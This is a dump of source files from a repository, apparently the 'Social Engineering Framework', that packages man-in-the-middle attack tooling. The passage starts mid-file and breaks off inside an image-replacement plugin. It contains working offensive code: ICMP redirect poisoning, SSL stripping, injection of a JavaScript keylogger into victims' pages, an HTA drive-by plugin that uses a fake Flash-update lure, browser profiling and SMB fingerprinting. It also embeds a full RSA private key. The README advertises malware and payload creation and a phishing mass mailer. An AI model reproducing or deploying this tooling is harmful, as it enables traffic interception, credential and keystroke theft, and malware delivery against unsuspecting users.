39 | 46 | 47 | -------------------------------------------------------------------------------- /sniffer/config/responder/responder.key: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEowIBAAKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k 3 | sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP 4 | 2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC 5 | 6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg 6 | WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF 7 | N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABAoIBABuAkDTUj0nZpFLS 8 | 1RLvqoeamlcFsQ+QzyRkxzNYEimF1rp4rXiYJuuOmtULleogm+dpQsA9klaQyEwY 9 | kowTqG3ZO8kTFwIr9nOqiXENDX3FOGnchwwfaOz0XlNhncFm3e7MKA25T4UeI02U 10 | YBPS75NspHb3ltsVnqhYSYyv3w/Ml/mDz+D76dRgT6seLEOTkKwZj7icBR6GNO1R 11 | FLbffJNE6ZcXI0O892CTVUB4d3egcpSDuaAq3f/UoRB3xH7MlnEPfxE3y34wcp8i 12 | erqm/8uVeBOnQMG9FVGXBJXbjSjnWS27sj/vGm+0rc8c925Ed1QdIM4Cvk6rMOHQ 13 | IGkDnvECgYEA4e3B6wFtONysLhkG6Wf9lDHog35vE/Ymc695gwksK07brxPF1NRS 14 | nNr3G918q+CE/0tBHqyl1i8SQ/f3Ejo7eLsfpAGwR9kbD9hw2ViYvEio9dAIMVTL 15 | LzJoSDLwcPCtEOpasl0xzyXrTBzWuNYTlfvGkyd2mutynORRIZPhgHkCgYEA00Q9 16 | cHBkoBOIHF8XHV3pm0qfwuE13BjKSwKIrNyKssGf8sY6bFGhLSpTLjWEMN/7B+S1 17 | 5IC0apiGjHNK6Z51kjKhEmSzCg8rXyULOalsyo2hNsMA+Lt1g72zJIDIT/+YeKAf 18 | s85G6VgMtNLozNjx7C1eMugECJ+rrpRVpIe1kJcCgYAr+I0cQtvSDEjKc/5/YMje 19 | ldQN+4Z82RRkwYshsKBTEXb6HRwMrwIhGxCq8LF59imMUkYrRSjFhcXFSrZgasr2 20 | VVz0G4wGf7+flt1nv7GCO5X+uW1OxJUC64mWO6vGH2FfgG0Ed9Tg3x1rY9V6hdes 21 | AiOEslKIFjjpRhpwMYra6QKBgQDLFO/SY9f2oI/YZff8PMhQhL1qQb7aYeIjlL35 22 | HM8e4k10u+RxN06t8d+frcXyjXvrrIjErIvBY/kCjdlXFQGDlbOL0MziQI66mQtf 23 | VGPFmbt8vpryfpCKIRJRZpInhFT2r0WKPCGiMQeV0qACOhDjrQC+ApXODF6mJOTm 24 | kaWQ5QKBgHE0pD2GAZwqlvKCM5YmBvDpebaBNwpvoY22e2jzyuQF6cmw85eAtp35 25 | f92PeuiYyaXuLgL2BR4HSYSjwggxh31JJnRccIxSamATrGOiWnIttDsCB5/WibOp 26 | MKuFj26d01imFixufclvZfJxbAvVy4H9hmyjgtycNY+Gp5/CLgDC 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /sniffer/plugins/Upsidedownternet.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from cStringIO import StringIO 3 | from plugins.plugin import Plugin 4 | from PIL import Image 5 | 6 | 7 | class Upsidedownternet(Plugin): 8 | name = "Upsidedownternet" 9 | optname = "upsidedownternet" 10 | desc = 'Flips images 180 degrees' 11 | has_opts = False 12 | implements = ["handleResponse", "handleHeader"] 13 | 14 | def initialize(self, options): 15 | from PIL import Image, ImageFile 16 | globals()['Image'] = Image 17 | globals()['ImageFile'] = ImageFile 18 | self.options = options 19 | 20 | def handleHeader(self, request, key, value): 21 | '''Kill the image skipping that's in place for speed reasons''' 22 | if request.isImageRequest: 23 | request.isImageRequest = False 24 | request.isImage = True 25 | request.imageType = value.split("/")[1].upper() 26 | 27 | def handleResponse(self, request, data): 28 | try: 29 | isImage = getattr(request, 'isImage') 30 | except AttributeError: 31 | isImage = False 32 | 33 | if isImage: 34 | try: 35 | image_type = request.imageType 36 | #For some reason more images get parsed using the parser 37 | #rather than a file...PIL still needs some work I guess 38 | p = ImageFile.Parser() 39 | p.feed(data) 40 | im = p.close() 41 | im = im.transpose(Image.ROTATE_180) 42 | output = StringIO() 43 | im.save(output, format=image_type) 44 | data = output.getvalue() 45 | output.close() 46 | logging.info("Flipped image") 47 | except Exception as e: 48 | print "Error: %s" % e 49 | return {'request': request, 'data': data} 50 | -------------------------------------------------------------------------------- /sniffer/libs/sslstrip/ServerConnectionFactory.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | from twisted.internet.protocol import ClientFactory 21 | 22 | class ServerConnectionFactory(ClientFactory): 23 | 24 | def __init__(self, command, uri, postData, headers, client): 25 | self.command = command 26 | self.uri = uri 27 | self.postData = postData 28 | self.headers = headers 29 | self.client = client 30 | 31 | def buildProtocol(self, addr): 32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) 33 | 34 | def clientConnectionFailed(self, connector, reason): 35 | logging.debug("Server connection failed.") 36 | 37 | destination = connector.getDestination() 38 | 39 | if (destination.port != 443): 40 | logging.debug("Retrying via SSL") 41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) 42 | else: 43 | try: 44 | self.client.finish() 45 | except: 46 | pass 47 | -------------------------------------------------------------------------------- /sniffer/plugins/browserprofiler.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.7 2 | 3 | # Copyright (c) 2014-2016 Marcello Salvati 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License as 7 | # published by the Free Software Foundation; either version 3 of the 8 | # License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, but 11 | # WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 13 | # General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program; if not, write to the Free Software 17 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 18 | # USA 19 | # 20 | import json 21 | 22 | from pprint import pformat 23 | from plugins.plugin import Plugin 24 | from plugins.inject import Inject 25 | 26 | class BrowserProfiler(Inject, Plugin): 27 | name = "BrowserProfiler" 28 | optname = "browserprofiler" 29 | desc = "Attempts to enumerate all browser plugins of connected clients" 30 | version = "0.3" 31 | 32 | def initialize(self, options): 33 | Inject.initialize(self, options) 34 | self.js_file = "./core/javascript/plugindetect.js" 35 | self.output = {} # so other plugins can access the results 36 | 37 | def request(self, request): 38 | if (request.command == 'POST') and ('clientprfl' in request.uri): 39 | request.handle_post_output = True 40 | self.output = json.loads(request.postData) 41 | self.output['ip'] = request.client.getClientIP() 42 | pretty_output = pformat(self.output) 43 | self.clientlog.info("Got profile:\n{}".format(pretty_output), extra=request.clientInfo) 44 | 45 | def options(self, options): 46 | pass 47 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Social Engineering Framework ![Build Status](http://webscan.esy.es/web1_1.svg)
2 | Social Engineering Framework is a framework to hack mind and sniff and exploit and many features more.

3 |

4 | IT is tools to hack mind and make payload and malware.
5 | # INSTALL 6 | 1- First download framework use this command: 7 | ``` 8 | git clone https://github.com/ahmadnourallah/SEF.git 9 | ``` 10 | 2- Then go to directory tools and give permission to all tools files. 11 |

12 | 3- After that install the requirements the Requirements is:

13 | [1) Metasploit Framework](https://github.com/rapid7/metasploit-framework)
14 | [2) Sqlbrowser](https://github.com/sqlitebrowser/sqlitebrowser)
15 | [3) Ettercap](https://github.com/Ettercap/ettercap)

16 | 4- After install the requirements execute the install file and wait to finish.

17 | 5- Finally, type in the terminal seframework to run the tools. 18 | # Features 19 | 1- Make fake download scame.
20 | 2- Mass Mailer Attack (Send fake email use real gmail account).
21 | 3- Sniif packets on your network use mitmf python script.
22 | 4- Payload creator and listner (make payload use msfvenom and start listen use msfconsole).
23 | 5- Windows exploits browser (make automatic exploit to exploit in metasploit).
24 | 6- Bluetooth toolkit (scan deivce on your area, scan bluetooth service in specific device, evil twin attack on specific bluetooth, attack on specific service in device).
25 | 7- Android toolkit (get android shell, android app databases decoder, download file from device).
26 | 8- Hack android passowrd(pattern, pin, password).
27 | # Call US 28 | ####Ahmad Nourallah: 29 | Email: ahmadnurallah@gmail.com 30 | Facebook: fb.com/ahmadnurallah 31 | ####Dante Nourallah: 32 | Facebook: fb.com/dante.nourllah

33 | 34 | For More Information visit our wiki page ==> [Wiki](https://github.com/ahmadnourallah/SEF/wiki) 35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /sniffer/libs/responder/IMAPPackets.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # NBT-NS/LLMNR Responder 3 | # Created by Laurent Gaffie 4 | # Copyright (C) 2014 Trustwave Holdings, Inc. 5 | # 6 | # This program is free software: you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation, either version 3 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # This program is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with this program. If not, see . 18 | import struct 19 | from odict import OrderedDict 20 | 21 | class Packet(): 22 | fields = OrderedDict([ 23 | ("data", ""), 24 | ]) 25 | def __init__(self, **kw): 26 | self.fields = OrderedDict(self.__class__.fields) 27 | for k,v in kw.items(): 28 | if callable(v): 29 | self.fields[k] = v(self.fields[k]) 30 | else: 31 | self.fields[k] = v 32 | def __str__(self): 33 | return "".join(map(str, self.fields.values())) 34 | 35 | #IMAP4 Greating class 36 | class IMAPGreating(Packet): 37 | fields = OrderedDict([ 38 | ("Code", "* OK IMAP4 service is ready."), 39 | ("CRLF", "\r\n"), 40 | ]) 41 | 42 | #IMAP4 Capability class 43 | class IMAPCapability(Packet): 44 | fields = OrderedDict([ 45 | ("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"), 46 | ("CRLF", "\r\n"), 47 | ]) 48 | 49 | #IMAP4 Capability class 50 | class IMAPCapabilityEnd(Packet): 51 | fields = OrderedDict([ 52 | ("Tag", ""), 53 | ("Message", " OK CAPABILITY completed."), 54 | ("CRLF", "\r\n"), 55 | ]) 56 | -------------------------------------------------------------------------------- /sniffer/core/sslstrip/DnsCache.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | from core.logger import logger 21 | 22 | formatter = logging.Formatter("%(asctime)s [DnsCache] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") 23 | log = logger().setup_logger("DnsCache", formatter) 24 | 25 | class DnsCache: 26 | 27 | ''' 28 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. 29 | ''' 30 | 31 | _instance = None 32 | 33 | def __init__(self): 34 | self.customAddress = None 35 | self.cache = {} 36 | 37 | @staticmethod 38 | def getInstance(): 39 | if DnsCache._instance == None: 40 | DnsCache._instance = DnsCache() 41 | 42 | return DnsCache._instance 43 | 44 | def cacheResolution(self, host, address): 45 | self.cache[host] = address 46 | 47 | def getCachedAddress(self, host): 48 | if host in self.cache: 49 | return self.cache[host] 50 | 51 | return None 52 | 53 | def setCustomRes(self, host, ip_address=None): 54 | if ip_address is not None: 55 | self.cache[host] = ip_address 56 | log.debug("DNS entry set: %s -> %s" %(host, ip_address)) 57 | else: 58 | if self.customAddress is not None: 59 | self.cache[host] = self.customAddress 60 | 61 | def setCustomAddress(self, ip_address): 62 | self.customAddress = ip_address 63 | -------------------------------------------------------------------------------- /sniffer/tests/basic_tests.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import threading 3 | import logging 4 | 5 | class BasicTests(unittest.TestCase): 6 | 7 | def test_configfile(self): 8 | from configobj import ConfigObj 9 | config = ConfigObj('config/mitmf.conf') 10 | 11 | def test_logger(self): 12 | from core.logger import logger 13 | logger.log_level = logging.DEBUG 14 | formatter = logging.Formatter("%(asctime)s [unittest] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") 15 | log = logger().setup_logger("unittest", formatter) 16 | 17 | def test_DNSChef(self): 18 | from core.logger import logger 19 | logger.log_level = logging.DEBUG 20 | from core.servers.DNS import DNSChef 21 | DNSChef().start() 22 | 23 | def test_NetCreds(self): 24 | from core.logger import logger 25 | logger.log_level = logging.DEBUG 26 | from core.netcreds import NetCreds 27 | NetCreds().start('venet0:0', '172.30.96.18') 28 | 29 | def test_SSLStrip_Proxy(self): 30 | favicon = True 31 | preserve_cache = True 32 | killsessions = True 33 | listen_port = 10000 34 | 35 | from twisted.web import http 36 | from twisted.internet import reactor 37 | from core.sslstrip.CookieCleaner import CookieCleaner 38 | from core.proxyplugins import ProxyPlugins 39 | from core.sslstrip.StrippingProxy import StrippingProxy 40 | from core.sslstrip.URLMonitor import URLMonitor 41 | 42 | URLMonitor.getInstance().setFaviconSpoofing(favicon) 43 | URLMonitor.getInstance().setCaching(preserve_cache) 44 | CookieCleaner.getInstance().setEnabled(killsessions) 45 | 46 | strippingFactory = http.HTTPFactory(timeout=10) 47 | strippingFactory.protocol = StrippingProxy 48 | 49 | reactor.listenTCP(listen_port, strippingFactory) 50 | 51 | #ProxyPlugins().all_plugins = plugins 52 | t = threading.Thread(name='sslstrip_test', target=reactor.run) 53 | t.setDaemon(True) 54 | t.start() 55 | 56 | if __name__ == '__main__': 57 | unittest.main() -------------------------------------------------------------------------------- /sniffer/core/ferretng/ServerConnectionFactory.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | from core.logger import logger 21 | from twisted.internet.protocol import ClientFactory 22 | 23 | formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") 24 | log = logger().setup_logger("Ferret_ServerConnectionFactory", formatter) 25 | 26 | class ServerConnectionFactory(ClientFactory): 27 | 28 | def __init__(self, command, uri, postData, headers, client): 29 | self.command = command 30 | self.uri = uri 31 | self.postData = postData 32 | self.headers = headers 33 | self.client = client 34 | 35 | def buildProtocol(self, addr): 36 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) 37 | 38 | def clientConnectionFailed(self, connector, reason): 39 | log.debug("Server connection failed.") 40 | 41 | destination = connector.getDestination() 42 | 43 | if (destination.port != 443): 44 | log.debug("Retrying via SSL") 45 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) 46 | else: 47 | try: 48 | self.client.finish() 49 | except: 50 | pass 51 | -------------------------------------------------------------------------------- /sniffer/core/sslstrip/ServerConnectionFactory.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | 21 | from core.logger import logger 22 | from twisted.internet.protocol import ClientFactory 23 | 24 | formatter = logging.Formatter("%(asctime)s [ServerConnectionFactory] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") 25 | log = logger().setup_logger("ServerConnectionFactory", formatter) 26 | 27 | class ServerConnectionFactory(ClientFactory): 28 | 29 | def __init__(self, command, uri, postData, headers, client): 30 | self.command = command 31 | self.uri = uri 32 | self.postData = postData 33 | self.headers = headers 34 | self.client = client 35 | 36 | def buildProtocol(self, addr): 37 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) 38 | 39 | def clientConnectionFailed(self, connector, reason): 40 | log.debug("Server connection failed.") 41 | 42 | destination = connector.getDestination() 43 | 44 | if (destination.port != 443): 45 | log.debug("Retrying via SSL") 46 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) 47 | else: 48 | try: 49 | self.client.finish() 50 | except: 51 | pass 52 | -------------------------------------------------------------------------------- /sniffer/plugins/replace.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014-2016 Marcello Salvati 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | """ 20 | 21 | Original plugin by @rthijssen 22 | 23 | """ 24 | 25 | import re 26 | from plugins.plugin import Plugin 27 | 28 | class Replace(Plugin): 29 | name = "Replace" 30 | optname = "replace" 31 | desc = "Replace arbitrary content in HTML content" 32 | version = "0.2" 33 | 34 | def initialize(self, options): 35 | self.options = options 36 | 37 | def response(self, response, request, data): 38 | mime = response.responseHeaders.getRawHeaders('Content-Type')[0] 39 | hn = response.getRequestHostname() 40 | 41 | if "text/html" in mime: 42 | 43 | for rulename, regexs in self.config['Replace'].iteritems(): 44 | for regex1,regex2 in regexs.iteritems(): 45 | if re.search(regex1, data): 46 | try: 47 | data = re.sub(regex1, regex2, data) 48 | 49 | self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo) 50 | except Exception: 51 | self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename)) 52 | 53 | return {'response': response, 'request': request, 'data': data} 54 | -------------------------------------------------------------------------------- /sniffer/core/poisoners/ICMP.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014-2016 Marcello Salvati 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | import threading 21 | 22 | from time import sleep 23 | from core.logger import logger 24 | from scapy.all import IP, ICMP, UDP, sendp 25 | 26 | formatter = logging.Formatter("%(asctime)s [ICMPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") 27 | log = logger().setup_logger("ICMPpoisoner", formatter) 28 | 29 | class ICMPpoisoner(): 30 | 31 | def __init__(self, options): 32 | 33 | self.target = options.target 34 | self.gateway = options.gateway 35 | self.interface = options.interface 36 | self.ip_address = options.ip 37 | self.debug = False 38 | self.send = True 39 | self.icmp_interval = 2 40 | 41 | def build_icmp(self): 42 | pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\ 43 | IP(src=self.target, dst=self.gateway)/UDP() 44 | 45 | return pkt 46 | 47 | def start(self): 48 | pkt = self.build_icmp() 49 | 50 | t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,)) 51 | t.setDaemon(True) 52 | t.start() 53 | 54 | def stop(self): 55 | self.send = False 56 | sleep(3) 57 | 58 | def send_icmps(self, pkt, interface, debug): 59 | while self.send: 60 | sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug) 61 | -------------------------------------------------------------------------------- /sniffer/plugins/htadriveby.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014-2016 Marcello Salvati 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import re 20 | 21 | from plugins.plugin import Plugin 22 | from plugins.inject import Inject 23 | 24 | class HTADriveBy(Inject, Plugin): 25 | name = 'HTA Drive-By' 26 | desc = 'Performs HTA drive-by attacks on clients' 27 | optname = 'hta' 28 | ver = '0.1' 29 | 30 | def initialize(self, options): 31 | self.bar_text = options.text 32 | self.ip = options.ip 33 | self.hta = options.hta_app.split('/')[-1] 34 | Inject.initialize(self, options) 35 | self.html_payload = self.get_payload() 36 | 37 | from core.servers.HTTP import HTTP 38 | HTTP.add_static_endpoint(self.hta, "application/hta", options.hta_app) 39 | 40 | def get_payload(self): 41 | with open("./core/html/htadriveby.html", 'r') as file: 42 | payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read()) 43 | payload = re.sub("_IP_GOES_HERE_", self.ip, payload) 44 | payload = re.sub("_PAYLOAD_GOES_HERE_", self.hta, payload) 45 | return payload 46 | 47 | def options(self, options): 48 | options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar") 49 | options.add_argument('--hta-app', type=str, default='./config/hta_driveby/flash_setup.hta', help='Path to HTA application [defaults to config/hta_driveby/flash_setup.hta]') 50 | -------------------------------------------------------------------------------- /sniffer/core/html/htadriveby.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /sniffer/core/responder/fingerprint.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import re 18 | import sys 19 | import socket 20 | import struct 21 | import string 22 | import logging 23 | 24 | from utils import * 25 | from odict import OrderedDict 26 | from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData 27 | 28 | def OsNameClientVersion(data): 29 | try: 30 | length = struct.unpack('i", len(''.join(Packet)))+Packet 50 | s.send(Buffer) 51 | data = s.recv(2048) 52 | 53 | if data[8:10] == "\x72\x00": 54 | Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") 55 | Body = SMBSessionFingerData() 56 | Body.calculate() 57 | 58 | Packet = str(Header)+str(Body) 59 | Buffer = struct.pack(">i", len(''.join(Packet)))+Packet 60 | 61 | s.send(Buffer) 62 | data = s.recv(2048) 63 | 64 | if data[8:10] == "\x73\x16": 65 | return OsNameClientVersion(data) 66 | except: 67 | settings.Config.AnalyzeLogger.warning("Fingerprint failed for host: {}".format(host)) 68 | return None 69 | -------------------------------------------------------------------------------- /sniffer/plugins/jskeylogger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.7 2 | 3 | # Copyright (c) 2014-2016 Marcello Salvati 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License as 7 | # published by the Free Software Foundation; either version 3 of the 8 | # License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, but 11 | # WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 13 | # General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program; if not, write to the Free Software 17 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 18 | # USA 19 | # 20 | 21 | from plugins.inject import Inject 22 | from plugins.plugin import Plugin 23 | 24 | class JSKeylogger(Inject, Plugin): 25 | name = "JSKeylogger" 26 | optname = "jskeylogger" 27 | desc = "Injects a javascript keylogger into clients webpages" 28 | version = "0.2" 29 | 30 | def initialize(self, options): 31 | Inject.initialize(self, options) 32 | self.js_file = "./core/javascript/msfkeylogger.js" 33 | 34 | def request(self, request): 35 | if 'keylog' in request.uri: 36 | request.handle_post_output = True 37 | 38 | raw_keys = request.postData.split("&&")[0] 39 | input_field = request.postData.split("&&")[1] 40 | 41 | keys = raw_keys.split(",") 42 | if keys: 43 | del keys[0]; del(keys[len(keys)-1]) 44 | 45 | nice = '' 46 | for n in keys: 47 | if n == '9': 48 | nice += "" 49 | elif n == '8': 50 | nice = nice[:-1] 51 | elif n == '13': 52 | nice = '' 53 | else: 54 | try: 55 | nice += unichr(int(n)) 56 | except: 57 | self.clientlog.error("Error decoding char: {}".format(n), extra=request.clientInfo) 58 | 59 | self.clientlog.info(u"Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo) 60 | 61 | def options(self, options): 62 | pass 63 | -------------------------------------------------------------------------------- /sniffer/plugins/imagerandomizer.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014-2016 Marcello Salvati 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import random 20 | import os 21 | from plugins.plugin import Plugin 22 | 23 | class ImageRandomizer(Plugin): 24 | name = "ImageRandomizer" 25 | optname = "imgrand" 26 | desc = 'Replaces images with a random one from a specified directory' 27 | version = "0.1" 28 | 29 | def initialize(self, options): 30 | self.options = options 31 | self.img_dir = options.img_dir 32 | 33 | def responseheaders(self, response, request): 34 | '''Kill the image skipping that's in place for speed reasons''' 35 | if request.isImageRequest: 36 | request.isImageRequest = False 37 | request.isImage = True 38 | self.imageType = response.responseHeaders.getRawHeaders('content-type')[0].split('/')[1].upper() 39 | 40 | def response(self, response, request, data): 41 | try: 42 | isImage = getattr(request, 'isImage') 43 | except AttributeError: 44 | isImage = False 45 | 46 | if isImage: 47 | try: 48 | img = 